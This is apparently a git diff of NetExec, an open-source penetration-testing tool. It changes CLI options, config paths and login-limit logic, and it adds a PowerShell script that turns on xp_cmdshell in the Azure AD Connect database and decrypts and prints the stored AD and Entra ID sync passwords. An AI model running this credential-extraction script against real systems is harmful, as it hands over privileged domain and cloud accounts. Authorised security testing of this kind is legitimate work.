'certipy.lib.formatting',
|
||||
'certipy.lib.target',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.examples.regsecrets',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
@@ -27,13 +31,13 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'nxc.connection',
|
||||
'nxc.servers.smb',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
'nxc.protocols.smb.smbexec',
|
||||
@@ -44,9 +48,11 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
@@ -75,6 +81,7 @@ a = Analysis(
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
|
||||
+22
-26
@@ -16,7 +16,7 @@ import importlib.metadata
|
||||
|
||||
def gen_cli_args():
|
||||
setup_debug_logging()
|
||||
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
DISTANCE, COMMIT = COMMIT.split(".")
|
||||
@@ -24,30 +24,32 @@ def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
DISTANCE = ""
|
||||
CODENAME = "SmoothOperator"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
|
||||
|
||||
CODENAME = "Yippie-Ki-Yay"
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
|
||||
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
log_level = output_group.add_mutually_exclusive_group()
|
||||
log_level.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
log_level.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
@@ -61,7 +63,7 @@ def gen_cli_args():
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
||||
|
||||
For documentation and usage examples, visit: https://www.netexec.wiki/
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
@@ -74,17 +76,17 @@ def gen_cli_args():
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup = module_parser.add_argument_group("Modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
@@ -95,24 +97,18 @@ def gen_cli_args():
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos Authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
|
||||
certificate_group = std_parser.add_argument_group("Certificate Authentication")
|
||||
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
|
||||
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
|
||||
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
|
||||
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
|
||||
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -139,7 +135,7 @@ def gen_cli_args():
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
|
||||
|
||||
|
||||
def get_module_names():
|
||||
|
||||
+16
-6
@@ -1,7 +1,6 @@
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
import configparser
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from nxc.paths import DATA_PATH, CONFIG_PATH
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.logger import nxc_logger
|
||||
from ast import literal_eval
|
||||
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
|
||||
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
|
||||
|
||||
nxc_config = configparser.ConfigParser()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
if "nxc" not in nxc_config.sections():
|
||||
first_run_setup()
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
nxc_config.read(CONFIG_PATH)
|
||||
|
||||
# Check if there are any missing options in the config file
|
||||
for section in nxc_default_config.sections():
|
||||
if not nxc_config.has_section(section):
|
||||
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
|
||||
nxc_config.add_section(section)
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
for option in nxc_default_config.options(section):
|
||||
if not nxc_config.has_option(section, option):
|
||||
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
|
||||
nxc_config.set(section, option, nxc_default_config.get(section, option))
|
||||
|
||||
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
|
||||
with open(CONFIG_PATH, "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
|
||||
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
|
||||
@@ -32,8 +36,14 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
|
||||
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
|
||||
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
|
||||
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
|
||||
if not isinstance(exclude_hosts, list):
|
||||
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
|
||||
+64
-45
@@ -1,9 +1,11 @@
|
||||
from datetime import datetime
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from threading import BoundedSemaphore, Lock
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
@@ -12,15 +14,18 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
@@ -132,11 +137,19 @@ class connection:
|
||||
self.db = db
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
self.protocol = args.protocol
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
@@ -162,10 +175,14 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -227,19 +244,26 @@ class connection:
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.logger.info(f"Successfully created connection object for target '{self.host}'")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
@@ -275,7 +299,7 @@ class connection:
|
||||
extra={
|
||||
"module_name": module.name.upper(),
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
},
|
||||
)
|
||||
@@ -284,11 +308,6 @@ class connection:
|
||||
context = Context(self.db, module_logger, self.args)
|
||||
context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_request") or hasattr(module, "has_response"):
|
||||
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
|
||||
self.server.connection = self
|
||||
self.server.context.localip = self.local_ip
|
||||
|
||||
if hasattr(module, "on_login"):
|
||||
self.logger.debug(f"Module {module.name} has on_login method")
|
||||
module.on_login(context, self)
|
||||
@@ -297,35 +316,31 @@ class connection:
|
||||
self.logger.debug(f"Module {module.name} has on_admin_login method")
|
||||
module.on_admin_login(context, self)
|
||||
|
||||
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
|
||||
self.logger.debug(f"Module {module.name} has on_shutdown method")
|
||||
module.on_shutdown(context, self)
|
||||
|
||||
def inc_failed_login(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
with fail_lock:
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
|
||||
user_failed_logins[username] += 1
|
||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
user_failed_logins[username] += 1
|
||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
|
||||
def over_fail_limit(self, username):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
with fail_lock:
|
||||
if global_failed_logins == self.args.gfail_limit:
|
||||
return True
|
||||
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
|
||||
return True
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
|
||||
return True
|
||||
|
||||
return False
|
||||
return False
|
||||
|
||||
def query_db_creds(self):
|
||||
"""Queries the database for credentials to be used for authentication.
|
||||
@@ -389,7 +404,7 @@ class connection:
|
||||
if "\\" in line and len(line.split("\\")) == 2:
|
||||
domain_single, username_single = line.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = line
|
||||
domain.append(domain_single)
|
||||
username.append(username_single.strip())
|
||||
@@ -398,7 +413,7 @@ class connection:
|
||||
if "\\" in user:
|
||||
domain_single, username_single = user.split("\\")
|
||||
else:
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
|
||||
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
|
||||
username_single = user
|
||||
domain.append(domain_single)
|
||||
username.append(username_single)
|
||||
@@ -427,14 +442,14 @@ class connection:
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for i, line in enumerate(ntlm_hash_file):
|
||||
line = line.strip()
|
||||
if len(line) != 32 and len(line) != 65:
|
||||
if len(line) != 32 and len(line) != 65 and len(line) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
|
||||
continue
|
||||
else:
|
||||
secret.append(line)
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
|
||||
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
|
||||
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
|
||||
exit(1)
|
||||
else:
|
||||
@@ -472,8 +487,6 @@ class connection:
|
||||
- NTLM-hash (/kerberos)
|
||||
- AES-key
|
||||
"""
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
|
||||
@@ -489,6 +502,8 @@ class connection:
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if self.over_fail_limit(username):
|
||||
return False
|
||||
if cred_type == "plaintext":
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
@@ -544,7 +559,7 @@ class connection:
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
username = self.args.username[0] if len(self.args.username) else ""
|
||||
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
@@ -591,5 +606,9 @@ class connection:
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
try:
|
||||
module = loader.init_module(module_path)
|
||||
except ModuleOptionsError as e:
|
||||
self.logger.debug(f"Skipping module: {e}")
|
||||
continue
|
||||
self.modules.append(module)
|
||||
+4
-2
@@ -1,6 +1,8 @@
|
||||
import configparser
|
||||
import os
|
||||
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH
|
||||
|
||||
|
||||
class Context:
|
||||
def __init__(self, db, logger, args):
|
||||
@@ -8,10 +10,10 @@ class Context:
|
||||
setattr(self, key, value)
|
||||
|
||||
self.db = db
|
||||
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
self.log_folder_path = os.path.join(NXC_PATH, "logs")
|
||||
self.localip = None
|
||||
|
||||
self.conf = configparser.ConfigParser()
|
||||
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
|
||||
self.conf.read(CONFIG_PATH)
|
||||
|
||||
self.log = logger
|
||||
@@ -0,0 +1,82 @@
|
||||
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
|
||||
# Modified by @NeffIsBack:
|
||||
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
|
||||
|
||||
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
|
||||
function decrypter($crypted, $key_id, $instance_id, $entropy) {
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
|
||||
$decrypted = [string]::Empty
|
||||
|
||||
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
|
||||
$decrypted += $reader.GetString(0)
|
||||
}
|
||||
$reader.Close()
|
||||
|
||||
if ($decrypted -eq [string]::Empty) {
|
||||
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
|
||||
return
|
||||
}
|
||||
|
||||
return $decrypted
|
||||
}
|
||||
|
||||
# Create a connection to the localdb instance of Azure AD Connect
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
|
||||
return
|
||||
}
|
||||
|
||||
function f {
|
||||
param ($q)
|
||||
$c = $client.CreateCommand()
|
||||
$c.CommandText = $q
|
||||
$r = $c.ExecuteReader()
|
||||
if (-not $r.Read()) {
|
||||
Write-Host "[!] Error querying: $q"
|
||||
return
|
||||
}
|
||||
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
|
||||
$r.Close()
|
||||
return $res
|
||||
}
|
||||
|
||||
# Get keyset_id, instance_id, entropy
|
||||
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
if (-not $out) { return }
|
||||
$key_id, $instance_id, $entropy = $out
|
||||
|
||||
# Get and decrypt on-prem AD credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
if (-not $out) { return }
|
||||
$on_prem, $c = $out
|
||||
$pd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
# Get and decrypt Entra ID sync credentials
|
||||
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
if (-not $out) { return }
|
||||
$entra, $c = $out
|
||||
$qd = decrypter $c $key_id $instance_id $entropy
|
||||
|
||||
|
||||
|
||||
# Extract the credentials from the decrypted XML configurations
|
||||
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
|
||||
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
|
||||
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
|
||||
Write-Host "On-prem Domain: $($domain.Domain)"
|
||||
Write-Host "On-prem Username: $($username.Username)"
|
||||
Write-Host "On-prem Password: $($pw.Password)"
|
||||
|
||||
# Extract the Entra ID sync credentials
|
||||
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
|
||||
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
|
||||
Write-Host "Entra ID Username: $($entra_user)"
|
||||
Write-Host "Entra ID Password: $($entra_pw.Password)"
|
||||
@@ -1,65 +0,0 @@
|
||||
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
|
||||
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
|
||||
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
|
||||
|
||||
try {
|
||||
$client.Open()
|
||||
} catch {
|
||||
Write-Host "[!] Could not connect to localdb..."
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_server_configuration"
|
||||
return
|
||||
}
|
||||
|
||||
$key_id = $reader.GetInt32(0)
|
||||
$instance_id = $reader.GetGuid(1)
|
||||
$entropy = $reader.GetGuid(2)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
if ($reader.Read() -ne $true) {
|
||||
Write-Host "[!] Error querying mms_management_agent"
|
||||
return
|
||||
}
|
||||
|
||||
$config = $reader.GetString(0)
|
||||
$crypted = $reader.GetString(1)
|
||||
$reader.Close()
|
||||
|
||||
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
